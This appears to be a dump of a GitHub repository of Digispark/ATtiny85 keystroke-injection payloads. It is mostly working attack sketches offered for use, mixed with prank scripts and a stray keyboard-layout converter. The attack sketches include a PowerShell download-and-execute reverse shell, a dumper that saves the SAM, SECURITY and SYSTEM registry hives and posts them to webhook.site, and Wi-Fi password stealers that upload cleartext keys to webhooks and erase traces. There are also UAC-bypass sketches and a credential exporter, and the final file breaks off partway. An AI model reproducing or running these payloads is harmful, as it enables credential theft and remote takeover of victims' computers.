#!/bin/sh 2 | #!/bin/bash 3 | 4 | #az_qw_convert.sh - Enhanced by NBN - (Case sensitive input) 5 | #Dependencies: sed 6 | 7 | echo "Do you want to convert :\n\n1. QWERTY to AZERTY\n2. AZERTY to QWERTY "; read chx 8 | if test "$chx" -eq "1"; then 9 | sleep .5 10 | echo "Please, insert the text you want to convert in AZERTY"; read txt 11 | sleep .5 12 | echo "$txt" | sed 'y/qQaAzZwWmM,<.;:/aAqQwWzZ,?;.:mM/' | sed "y/4'/'ù/" | sed 'y/123567890-_!@#$%^&*()[{]}¦"?/&é"(-è_çà)°1234567890^¨$£µ%§/' | sed 'y/>\\\//\/*!/' 13 | elif test "$chx" -eq "2"; then 14 | sleep .5 15 | echo "Please, insert the text you want to convert in QWERTY "; read txt 16 | sleep .5 17 | echo "$txt" | sed 'y/aAqQwWzZ,?;.:mM/qQaAzZwWmM,<.;:/' | sed "y/!\//\/>/" | sed 'y/&é"(-è_çà)°1234567890^¨$£µ%§/123567890-_!@#$%^&*()[{]}¦"?/' | sed "y/ù'/'4/" 18 | else 19 | exit 20 | fi 21 | 22 | -------------------------------------------------------------------------------- /payloads/Reverse_Shell/Reverse_Shell.ino: -------------------------------------------------------------------------------- 1 | // This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 2 | // Credits to hak5 and samratashok (developer of the nishang framework). 3 | //follow our community hacker hub8 4 | //our instagram - @hacker_hu8 5 | //our telegram - @hacker_hub8 6 | #include "DigiKeyboard.h" 7 | void setup() { 8 | } 9 | 10 | void loop() { 11 | DigiKeyboard.sendKeyStroke(0); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\""); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | for (;;) { 18 | /*Stops the digispark from running the scipt again*/ 19 | } 20 | } 21 | 22 | 23 | //follow our community hacker hub8 24 | //our instagram - @hacker_hu8 25 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/RickRoll_Update/RickRoll_Update.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and also a fake Windows update screen and then maximizes it using F11 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | //empty 5 | } 6 | void loop() { 7 | DigiKeyboard.delay(2000); 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(600); 11 | DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(5000); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(3000); 16 | DigiKeyboard.print("http://fakeupdate.net/win10ue"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(2000); 19 | DigiKeyboard.sendKeyStroke(KEY_F11); 20 | for(;;){ /*empty*/ } 21 | } 22 | 23 | 24 | 25 | //follow our community hacker hub8 26 | //our instagram - @hacker_hu8 27 | //our telegram - @hacker_hub8 28 | -------------------------------------------------------------------------------- /payloads/SAM Dumper/SAM_DUMPER/SAM_DUMPER.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | 5 | #include "DigiKeyboard.h" 6 | #define KEY_TAB 0x2b 7 | void setup() { 8 | pinMode(1, OUTPUT); //LED on Model A 9 | } 10 | void loop() { 11 | DigiKeyboard.update(); 12 | DigiKeyboard.sendKeyStroke(0); 13 | DigiKeyboard.delay(3000); 14 | 15 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 16 | DigiKeyboard.delay(200); 17 | DigiKeyboard.println("taskmgr"); //starting taskmgr 18 | DigiKeyboard.delay(1000); 19 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 20 | DigiKeyboard.sendKeyStroke(KEY_N);//run 21 | DigiKeyboard.delay(1000); 22 | DigiKeyboard.print("powershell -noexit -command \"mode con cols=18 lines=1\"");//start tiny PowerShell 23 | DigiKeyboard.sendKeyStroke(KEY_TAB); 24 | DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //run 26 | DigiKeyboard.delay(1000); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");//killing taskmanager 29 | DigiKeyboard.println("cd $env:temp"); //going to temporary dir 30 | DigiKeyboard.delay(300); 31 | DigiKeyboard.println(F("PowerShell.exe -windowstyle hidden {reg save HKLM\\SAM SA.B; certutil -encode -f SA.B SA.B; reg save HKLM\\security SE.B; certutil -encode -f SE.B SE.B; reg save HKLM\\system SY.B; certutil -encode -f SY.B SY.B;$U='http://webhook.site/';Invoke-WebRequest -Uri $U -Method POST -Infile SA.B;Invoke-WebRequest -Uri $U -Method POST -Infile SE.B;Invoke-WebRequest -Uri $U -Method POST -Infile SY.B;del *.B;exit}")); //This is where all the magic happens 32 | DigiKeyboard.delay(200); 33 | digitalWrite(1, HIGH); //turn on led when program finishes 34 | DigiKeyboard.delay(90000); 35 | digitalWrite(1, LOW); 36 | DigiKeyboard.delay(5000); 37 | } 38 | -------------------------------------------------------------------------------- /payloads/Setup+Instructions+for+the+ATtiny85+(a.k.a.+The+Poor+Man’s+Rubber+Ducky).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hacker-hub8/Attiny85_payloads/5f2534794326772bf41312e89efa3eb88c9de905/payloads/Setup+Instructions+for+the+ATtiny85+(a.k.a.+The+Poor+Man’s+Rubber+Ducky).pdf -------------------------------------------------------------------------------- /payloads/Silly_Mouse/Silly_Mouse.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script messes with your target's mouse settings to annoying levels 2 | //Tested on Windows 10 with English(US) keyboard layout 3 | //Created by Vel1khan 4 | //edited by hacker-hub8 5 | 6 | //follow our community hacker hub8 7 | //our instagram - @hacker_hu8 8 | //our telegram - @hacker_hub8 9 | #include "DigiKeyboard.h" 10 | void setup() { 11 | #define KEY_TAB 43 12 | #define KEY_ARROW_RIGHT 0x4F 13 | } 14 | 15 | void loop() { 16 | DigiKeyboard.sendKeyStroke(0); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("main.cpl"); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.sendKeyStroke(KEY_TAB); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 29 | DigiKeyboard.delay(200); 30 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 31 | DigiKeyboard.delay(200); 32 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 33 | DigiKeyboard.delay(200); 34 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 35 | DigiKeyboard.delay(200); 36 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 37 | DigiKeyboard.delay(200); 38 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 39 | DigiKeyboard.delay(200); 40 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 51 | DigiKeyboard.delay(200); 52 | DigiKeyboard.sendKeyStroke(KEY_TAB); 53 | DigiKeyboard.delay(200); 54 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 55 | DigiKeyboard.delay(200); 56 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 57 | DigiKeyboard.delay(200); 58 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 59 | DigiKeyboard.delay(200); 60 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 61 | DigiKeyboard.delay(200); 62 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 63 | DigiKeyboard.delay(200); 64 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 65 | DigiKeyboard.delay(200); 66 | DigiKeyboard.sendKeyStroke(KEY_TAB); 67 | DigiKeyboard.delay(200); 68 | DigiKeyboard.sendKeyStroke(KEY_TAB); 69 | DigiKeyboard.delay(200); 70 | DigiKeyboard.sendKeyStroke(KEY_TAB); 71 | DigiKeyboard.delay(200); 72 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 73 | DigiKeyboard.delay(200); 74 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 75 | DigiKeyboard.delay(200); 76 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 77 | DigiKeyboard.delay(200); 78 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 79 | DigiKeyboard.delay(200); 80 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 81 | DigiKeyboard.delay(200); 82 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 83 | DigiKeyboard.delay(200); 84 | DigiKeyboard.sendKeyStroke(KEY_TAB); 85 | DigiKeyboard.delay(200); 86 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 87 | DigiKeyboard.delay(200); 88 | DigiKeyboard.sendKeyStroke(KEY_TAB); 89 | DigiKeyboard.delay(500); 90 | DigiKeyboard.print("100"); 91 | DigiKeyboard.delay(500); 92 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 93 | for(;;){ /*empty*/ } 94 | } 95 | -------------------------------------------------------------------------------- /payloads/Talker/Talker.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up the powershell and makes your computer speak out a message. 2 | //follow our community hacker hub8 3 | //our instagram - @hacker_hu8 4 | //our telegram - @hacker_hub8 5 | 6 | #include "DigiKeyboard.h" 7 | void setup() { 8 | } 9 | 10 | void loop() { 11 | DigiKeyboard.sendKeyStroke(0); 12 | DigiKeyboard.delay(100); 13 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 14 | DigiKeyboard.delay(100); 15 | DigiKeyboard.print("powershell"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(3000); 18 | DigiKeyboard.print("Add-Type -AssemblyName System.speech"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(100); 21 | DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer"); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(100); 24 | //Uncomment these lines to use a female voice 25 | //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')"); 26 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 27 | //DigiKeyboard.delay(500); 28 | DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")"); 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | DigiKeyboard.delay(100); 31 | DigiKeyboard.print("exit"); 32 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | DigiKeyboard.delay(100); 34 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); 35 | DigiKeyboard.sendKeyStroke(KEY_N); 36 | for (;;) { 37 | /*empty*/ 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /payloads/UAC Bypass/UAC_BYPASS_MSCONFIG/UAC_BYPASS_MSCONFIG.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | 5 | #include "DigiKeyboard.h" 6 | #define KEY_DOWN 0x51 7 | void setup() { 8 | pinMode(1, OUTPUT); //LED on Model A 9 | } 10 | 11 | void loop() { 12 | 13 | DigiKeyboard.update(); 14 | DigiKeyboard.sendKeyStroke(0); 15 | DigiKeyboard.delay(3000); 16 | 17 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 18 | DigiKeyboard.delay(100); 19 | DigiKeyboard.println("msconfig -5"); //starting msconfig 20 | DigiKeyboard.delay(500); 21 | for(int i =0; i < 14; i++) 22 | { 23 | DigiKeyboard.sendKeyStroke(KEY_DOWN); 24 | } 25 | DigiKeyboard.sendKeyStroke(KEY_L, MOD_ALT_LEFT); //run 26 | DigiKeyboard.delay(100); 27 | DigiKeyboard.println("regedit"); 28 | digitalWrite(1, HIGH); //turn on led when program finishes 29 | DigiKeyboard.delay(90000); 30 | digitalWrite(1, LOW); 31 | DigiKeyboard.delay(5000); 32 | 33 | } 34 | -------------------------------------------------------------------------------- /payloads/UAC Bypass/UAC_Bypass_TaskMgr/UAC_Bypass_TaskMgr.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | #include "DigiKeyboard.h" 5 | #define KEY_TAB 0x2b 6 | void setup() { 7 | pinMode(1, OUTPUT); //LED on Model A 8 | } 9 | 10 | void loop() { 11 | 12 | DigiKeyboard.update(); 13 | DigiKeyboard.sendKeyStroke(0); 14 | DigiKeyboard.delay(3000); 15 | 16 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 17 | DigiKeyboard.delay(200); 18 | DigiKeyboard.println("taskmgr"); //starting taskmgr 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 21 | DigiKeyboard.sendKeyStroke(KEY_N);//run 22 | DigiKeyboard.delay(500); 23 | DigiKeyboard.print("cmd");//start cmd 24 | DigiKeyboard.sendKeyStroke(KEY_TAB); 25 | DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges 26 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //run 27 | DigiKeyboard.delay(200); 28 | DigiKeyboard.println("regedit");//start regedit 29 | 30 | digitalWrite(1, HIGH); //turn on led when program finishes 31 | DigiKeyboard.delay(90000); 32 | digitalWrite(1, LOW); 33 | DigiKeyboard.delay(5000); 34 | 35 | } 36 | -------------------------------------------------------------------------------- /payloads/Wallpaper_Changer/Wallpaper_Changer.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script downloads and sets a wallpaper through the Windows PowerShell. It has been tested successfully 2 | //on Windows 10 and should probably work with Windows 7/8/8.1 etc. 3 | //follow our community hacker hub8 4 | //our instagram - @hacker_hu8 5 | //our telegram - @hacker_hub8 6 | #include "DigiKeyboard.h" 7 | void setup() { 8 | //empty 9 | } 10 | void loop() { 11 | DigiKeyboard.sendKeyStroke(0); 12 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("powershell"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print("$client.DownloadFile(\"https://anup-ganiger.github.io/img/f-1.jpg\" , \"doge.jpg\")"); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | DigiKeyboard.delay(500); 25 | DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\doge.jpg\" /f"); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.print("exit"); 33 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 34 | for(;;){ /*empty*/ } 35 | } 36 | -------------------------------------------------------------------------------- /payloads/Wallpaper_Changer_macOS/Wallpaper_Changer_macOS.ino: -------------------------------------------------------------------------------- 1 | // This script launches Spotlight to launch Terminal.app in order to download a picture, and sets it as a wallpaper, in less than 3 seconds. 2 | // Tested on El Capitan (macOS 10.11.6) 3 | //follow our community hacker hub8 4 | //our instagram - @hacker_hu8 5 | //our telegram - @hacker_hub8 6 | #include "DigiKeyboard.h" 7 | void setup() { 8 | } 9 | 10 | void loop() { 11 | DigiKeyboard.sendKeyStroke(0); 12 | DigiKeyboard.delay(200); 13 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); 14 | DigiKeyboard.delay(200); 15 | DigiKeyboard.print("Terminal"); 16 | DigiKeyboard.delay(200); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(200); 19 | DigiKeyboard.print("curl https://tr3.cbsistatic.com/hub/i/2014/05/15/f8964afd-bd82-4e0e-bcbe-e927363dcdc1/3b858e39e2cf183b878f54cad0073a67/codedoge.jpg > /Users/Shared/wallpaper.jpg"); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.print("osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \"/Users/Shared/wallpaper.jpg\"'"); 23 | DigiKeyboard.delay(200); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(200); 26 | DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); 27 | 28 | for (;;) { 29 | /*Stops the digispark from running the scipt again*/ 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /payloads/Wallpaper_Prank/Wallpaper_Prank.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script takes a screenshot of the desktop, sets it as the wallpaper and hides the desktop icons. 2 | //Work with Windows XP(?)/Vista(?)/7/8/8.1/10 etc. 3 | 4 | //follow our community hacker hub8 5 | //our instagram - @hacker_hu8 6 | //our telegram - @hacker_hub8 7 | 8 | #include "DigiKeyboard.h" 9 | void setup() { 10 | //empty 11 | } 12 | void loop() { 13 | DigiKeyboard.sendKeyStroke(0); 14 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("mspaint"); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(800); 23 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT); 24 | DigiKeyboard.delay(500); 25 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT); 26 | DigiKeyboard.delay(600); 27 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboard.delay(600); 30 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_K); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_F); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_X); 39 | DigiKeyboard.delay(600); 40 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 41 | DigiKeyboard.delay(500); 42 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); 43 | DigiKeyboard.delay(500); 44 | DigiKeyboard.sendKeyStroke(KEY_V); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(81); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(81); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(81); 51 | DigiKeyboard.delay(200); 52 | DigiKeyboard.sendKeyStroke(81); 53 | DigiKeyboard.delay(200); 54 | DigiKeyboard.sendKeyStroke(81); 55 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 56 | for(;;){ /*empty*/ } 57 | } 58 | -------------------------------------------------------------------------------- /payloads/Wi-Fi password stealer/WifiKey-Grab_Minimize-of-Shame/WifiKey-Grab_Minimize-of-Shame.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Following payload will grab saved Wifi password and will send them to your hosted webhook and hide the cmd windows by using technique mentioned in hak5darren 3 | rubberducky wiki -- Payload hide cmd window [https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---hide-cmd-window] 4 | */ 5 | //follow our community hacker hub8 6 | //our instagram - @hacker_hu8 7 | //our telegram - @hacker_hub8 8 | 9 | #include "DigiKeyboard.h" 10 | #define KEY_DOWN 0x51 // Keyboard Down Arrow 11 | #define KEY_ENTER 0x28 //Return/Enter Key 12 | 13 | void setup() { 14 | pinMode(1, OUTPUT); //LED on Model A 15 | } 16 | 17 | void loop() { 18 | 19 | DigiKeyboard.update(); 20 | DigiKeyboard.sendKeyStroke(0); 21 | DigiKeyboard.delay(3000); 22 | 23 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 24 | DigiKeyboard.delay(100); 25 | DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu 29 | DigiKeyboard.sendKeyStroke(KEY_M); //goto Move 30 | for(int i =0; i < 100; i++) 31 | { 32 | DigiKeyboard.sendKeyStroke(KEY_DOWN); 33 | } 34 | DigiKeyboard.sendKeyStroke(KEY_ENTER); //Detach from scrolling 35 | DigiKeyboard.delay(100); 36 | DigiKeyboard.println("cd %temp%"); //going to temporary dir 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir 41 | DigiKeyboard.delay(500); 42 | DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/edcf7bc2-4912-4224-9094-b9f04370cacc -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook 43 | DigiKeyboard.delay(1000); 44 | DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess 45 | DigiKeyboard.delay(100); 46 | DigiKeyboard.println("exit"); 47 | DigiKeyboard.delay(100); 48 | 49 | digitalWrite(1, HIGH); //turn on led when program finishes 50 | DigiKeyboard.delay(90000); 51 | digitalWrite(1, LOW); 52 | DigiKeyboard.delay(5000); 53 | 54 | } 55 | //follow our community hacker hub8 56 | //our instagram - @hacker_hu8 57 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Wi-Fi password stealer/Wifikey-Grab/Wifikey-Grab.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Following payload will grab saved Wifi password and will send them to your hosted webhook. 3 | */ 4 | //follow our community hacker hub8 5 | //our instagram - @hacker_hu8 6 | //our telegram - @hacker_hub8 7 | #include "DigiKeyboard.h" 8 | 9 | void setup() { 10 | pinMode(1, OUTPUT); //LED on Model A 11 | } 12 | 13 | void loop() { 14 | 15 | DigiKeyboard.update(); 16 | DigiKeyboard.sendKeyStroke(0); 17 | DigiKeyboard.delay(3000); 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //start run 19 | DigiKeyboard.delay(1000); 20 | DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible for trying to making it as less noticeable as possible 21 | DigiKeyboard.delay(5000); 22 | DigiKeyboard.println("cd %temp%"); //Jumping to temporary dir 23 | DigiKeyboard.delay(3000); 24 | DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir 25 | DigiKeyboard.delay(5000); 26 | DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir 27 | DigiKeyboard.delay(5000); 28 | DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/23d0e6b2-f17b-4c75-a371-42e3bbf52edc -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook 29 | DigiKeyboard.delay(1000); 30 | DigiKeyboard.println("el Wi-* /s /f /q"); //cleaning up all the mess 31 | DigiKeyboard.delay(5000); 32 | DigiKeyboard.println("exit"); 33 | DigiKeyboard.delay(1000); 34 | digitalWrite(1, HIGH); //turn on led when program finishes 35 | DigiKeyboard.delay(90000); 36 | digitalWrite(1, LOW); 37 | DigiKeyboard.delay(5000); 38 | 39 | } 40 | 41 | 42 | //follow our community hacker hub8 43 | //our instagram - @hacker_hu8 44 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file on a usb drive. 2 | //Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label. 3 | 4 | //follow our community hacker hub8 5 | //our instagram - @hacker_hu8 6 | //our telegram - @hacker_hub8 7 | //Credits to p0wc0w. 8 | #include "DigiKeyboard.h" 9 | void setup() { 10 | } 11 | 12 | void loop() { 13 | DigiKeyboard.sendKeyStroke(0); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("cmd"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force")); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.print("exit"); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | for(;;){ /*empty*/ } 25 | } 26 | -------------------------------------------------------------------------------- /payloads/WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //follow our community hacker hub8 5 | //our instagram - @hacker_hu8 6 | //our telegram - @hacker_hub8 7 | #include "DigiKeyboard.h" 8 | void setup() { 9 | } 10 | 11 | void loop() { 12 | DigiKeyboard.sendKeyStroke(0); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("cmd"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | DigiKeyboard.delay(100); 22 | DigiKeyboard.print("COLOR EF"); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | DigiKeyboard.delay(100); 25 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\"")); 26 | 